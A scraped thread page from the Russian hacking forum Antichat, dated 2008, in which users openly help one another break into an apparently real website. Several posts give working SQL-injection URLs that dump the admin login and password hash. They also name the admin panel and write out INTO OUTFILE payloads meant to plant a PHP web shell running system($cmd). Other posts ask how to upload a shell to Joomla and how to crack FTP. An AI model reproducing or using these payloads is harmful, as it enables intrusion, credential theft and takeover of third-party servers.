ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #3441  
Старый 04.10.2008, 00:00
Аватар для n0ne
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408

Репутация: 861


По умолчанию

frigid20, врятли =\ Щас поковыряю скулю, мож чего интересного найду
 
Ответить с цитированием

  #3442  
Старый 04.10.2008, 00:03
Аватар для Велемир
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Ещё вопрос:

office_ausers

Встречал кто-нибудь такую ? Перепробывал уже во все формы вбивать оттуда пароли))

Поля:

1 : usr_id
2 : user_id
3 : usr_lname
4 : usr_fname
5 : usr_email
6 : usr_info
7 : usr_username
8 : usr_password
9 : usr_public
10 : usr_group

Последний раз редактировалось Велемир; 04.10.2008 в 00:08..
 
Ответить с цитированием

  #3443  
Старый 04.10.2008, 00:17
Аватар для n0ne
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408

Репутация: 861


По умолчанию

frigid20,

Цитата:
http://www.vodnik.info/article.php?aid=-1%27+union+select+1,concat_ws(0x3a,username,passwo rd),3,4,5,6,7,8,9+from+tbl_users/*
Цитата:
admin:7e94dd496a3e3cc1
Цитата:
http://www.vodnik.info/admin/
 
Ответить с цитированием

  #3444  
Старый 04.10.2008, 07:55
Аватар для MaSTeR GэN
MaSTeR GэN
Участник форума
Регистрация: 23.05.2008
Сообщений: 121
Провел на форуме:
305110

Репутация: 133
Отправить сообщение для MaSTeR GэN с помощью ICQ
По умолчанию

2Велемир дык в чем проблема то состоит тебе форму для аута нужно что ли найти ? Ну тогда если можно то линк сюда или в ПМ
2frigid20 у тебя ковычки не экраниються судя по запросу Залей через Into outfile шелл и будет тебе счастье )

Последний раз редактировалось MaSTeR GэN; 04.10.2008 в 08:00..
 
Ответить с цитированием

  #3445  
Старый 04.10.2008, 09:08
Аватар для frigid20
frigid20
Новичок
Регистрация: 19.01.2008
Сообщений: 19
Провел на форуме:
71644

Репутация: 11
По умолчанию

2n0ne, спасибо
2MaSTeR GэN, на запрос вида http://www.vodnik.info/article.php?aid=-1'+select+'<? php system($cmd) ?>'+from+tbl_users+INTO+OUTFILE+'/home/vodnik/vodnik-www/yarobot.php'/* сайт зависает...
 
Ответить с цитированием

  #3446  
Старый 04.10.2008, 14:40
Аватар для idTalis
idTalis
Познающий
Регистрация: 30.09.2008
Сообщений: 34
Провел на форуме:
134447

Репутация: 9
По умолчанию

Интересуют уязвимомости и методы взлома Ftp, по возможности приводите ссылки, а то юзал поиск, поиск особых результатов не дал
 
Ответить с цитированием

  #3447  
Старый 04.10.2008, 16:51
Аватар для Велемир
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Цитата:
Сообщение от idTalis  
Интересуют уязвимомости и методы взлома Ftp, по возможности приводите ссылки, а то юзал поиск, поиск особых результатов не дал
http://www.inattack.ru/article/97.html
 
Ответить с цитированием

  #3448  
Старый 04.10.2008, 17:18
Аватар для n0ne
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408

Репутация: 861


По умолчанию

frigid20, просто ты неправильно юзаешь.

Цитата:
http://www.vodnik.info/article.php?aid=-1%27+union+select+1,'%3C?%20echo%20%22asd%22;%20?% 3E',3,4,5,6,7,8,9+into+outfile+'/home/vodnik/vodnik-www/123.php'/*
Вот правильно. Тебе осталось найти папку с правами на запись.
 
Ответить с цитированием

  #3449  
Старый 04.10.2008, 17:23
Аватар для Ch3ck
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

frigid20, https://forum.antichat.ru/threadnav34338-1-10.html прочти.
 
Ответить с цитированием

  #3450  
Старый 04.10.2008, 18:18
Аватар для Велемир
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Всвязи с какими ошибками JOOMLA выдаёт сообщение на заливку шелла вида .php.gif -

Фаил трататата не может быть показан,так как содержит ошибки.

Версия JOOMLA 1.0.11
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ